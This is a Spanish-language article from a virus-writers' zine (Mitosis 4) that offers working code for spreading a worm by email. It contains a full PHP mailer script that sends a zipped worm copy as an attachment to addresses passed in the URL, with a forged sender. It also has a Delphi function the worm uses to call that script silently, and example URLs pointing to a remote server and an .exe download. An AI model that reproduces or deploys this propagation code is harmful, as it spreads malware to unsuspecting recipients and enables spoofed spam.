#Delphi con motor SMTP en PHP

#Autor: Pana_Infierno[GEDZAC] <pana_infierno[at]gedzac[dot]com>

Hola a todos escribí este pequeño articulo para la revista mitosis 4
Siempre buscamos una buena forma para reproducirnos, bueno esta es la mas efectiva, enviar una copia del worm por correo electrónico para ello usaremos la función mail que viene con php, para eso necesitamos un servidor para subir nuestro script, básicamente lo que hace el script es recibir los parámetros que serán llamados desde nuestro worm y ejecutar la función mail desde el servidor php enviando el correo.Este es el código fuente del motor smtp php.

<?

$adjunto=$_GET["adjunto"]; // recibo el parametro adjunto que es el nombre del archivo adjunto
$archivo = 'archivo.txt';// aca se guarda el nombre del ultimo archivo que se envio
//para poder adjuntar datos necesitamos subir el archivo fisico a la
//misma carpeta donde esta el script

//aca leemos el archivo para saber el ultimo nombre
// Leer archivo texto con el nombre del archivo mas la extension
$gestor = @fopen("$archivo", "r");
if ($gestor) {
while (!feof($gestor)) {
$bufer = fgets($gestor, 4096);

}
fclose ($gestor);
}
$adjunto=$adjunto.".zip";

//cambiamos el nombre que existe en el servidor por el nuevo nombre que llega en el parametro
if (rename($bufer,$adjunto))
{
$archivo = 'archivo.txt'; //
$cuerpo = $adjunto;
$fp=fopen($archivo,'w');
fwrite($fp,$cuerpo);
fclose($fp);
}
//entonces tenemos el ultimo nombre guardado

$UN_SALTO="\r\n";
$DOS_SALTOS="\r\n\r\n";

$destinatario= $_GET["destinatario"];
$asunto= $_GET["asunto"];
$remite= $_GET["remite"];
$texto= $_GET["texto"];
$link=$_GET["link"];
$textolink=$_GET["textolink"];
$mensaje=$_GET["mensaje"];

//recibimos todos los parametros

//armamos la las cabeceras mime del correo a enviar
$separador = "_separador_de_trozos_".md5 (uniqid (rand()));

$cabecera = "Date: ".date("l j F Y, G:i").$UN_SALTO;
$cabecera .= "MIME-Version: 1.0".$UN_SALTO;
$cabecera .= "From: ".$remitente."<".$remite.">".$UN_SALTO;
$cabecera .= "Return-path: ". $remite.$UN_SALTO;
$cabecera .= "Reply-To: ".$remite.$UN_SALTO;
$cabecera .="X-Mailer: PHP/". phpversion().$UN_SALTO;
$cabecera .= "Content-Type: multipart/mixed;".$UN_SALTO;
$cabecera .= " boundary=$separador".$DOS_SALTOS;

// Parte primera -Mensaje en formato HTML
# Separador inicial
$texto ="--$separador".$UN_SALTO;
# Encabezado parcial
$texto .="Content-Type: text/html; charset=\"ISO-8859-1\"".$UN_SALTO;
$texto .="Content-Transfer-Encoding: 7bit".$DOS_SALTOS;
# Contenido de esta parte del mensaje
$texto .= $mensaje;

# Separador de partes

$adj2 = $UN_SALTO."--$separador".$UN_SALTO;

# Encabezado parcial

//$adj2 .="Content-Type: application/octet-stream; name=\"fotos.zip\"".$UN_SALTO;
//$adj2 .="Content-Disposition: attachment; filename=\"fotos.zip\"".$UN_SALTO;
//$adj2 .="Content-Transfer-Encoding: base64".$DOS_SALTOS;

$adj2 .="Content-Type: application/octet-stream; name=\"$adjunto\"".$UN_SALTO;
$adj2 .="Content-Disposition: attachment; filename=\"$adjunto\"".$UN_SALTO;
$adj2 .="Content-Transfer-Encoding: base64".$DOS_SALTOS;

# lectura del fichero adjunto
//leemos el archivo para poder adjuntarlo al mail
$fp = fopen($adjunto, "r");
$buff = fread($fp, filesize($adjunto));
fclose($fp);
# codificación del fichero adjunto

$adj2 .=chunk_split(base64_encode($buff));

// separador final del mensaje

$adj2 .=$UN_SALTO."--$separador".$UN_SALTO;

// Unión de las diferentes partes para crear
// el cuerpo del mensaje

$mensaje=$texto.$adj2;

// envio del mensaje

//finalmente enviamos el correo

if (mail($destinatario, $asunto, $mensaje,$cabecera))
{ echo "mail enviado";}
?>

este codigo se corta desde < ? hasta ? > y se pega con un nombre .php entonces en la carpeta necesitamos 3 archivos.

1.- el script en si
2.- un file llamado archivo.txt (con el nombre del punto 3)
3.- un archivo zip que sera el enviado como spam (generalmente una copia del worm)

para ejecutar el script tenemos la forma mas simple pegar los datos en una url, asi:
http://www.gedzac.com/tash/envio.php?destinatario=pana_infierno@nada.com&asunto=asunto del mail&remite=pana_infierno@nada.com&texto=texto del mensaje&link=http://www.gedzac.com/archivo.exe&textolink=fotografia&mensaje=mensaje pagina web&adjunto=archivo

Para ejecutar esto desde delphi sin abrir el navegador se haria asi:

function ejecutarScriptInternet(cadena: string): String;
var
hNet: HINTERNET;
hUrl: HINTERNET;
Pagina:pchar;
begin

pagina :=pchar(cadena);

Result := '';
hNet := InternetOpen('agent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if (hNet <> nil) then
begin
hUrl := InternetOpenUrl(hNet, Pagina, nil, 0, INTERNET_FLAG_RELOAD, 0);
end;
end;

Donde cadena es la url completa
http://www.gedzac.com/tash/envio.php?destinatario=pana_infierno@nada.com&asunto=asunto del mail&remite=pana_infierno@nada.com&texto=texto del mensaje&link=http://www.gedzac.com/archivo.exe&textolink=fotografia&mensaje=mensaje pagina web&adjunto=archivo

con esto se hace un envió efectivo del correo electrónico sin levantar sospechas, sin ventanas emergentes y sin tener que abrir el explorador, el nombre del zip
a enviar cambiara cada ves que enviemos un nuevo nombre quedando guardado este en el archivo.txt.

Espero que esta información les sea de utilidad.

saludos a todos mis compañeros de grupo en especial a eCORE.

 


(C) Mitosis 4 - GEDZAC LABS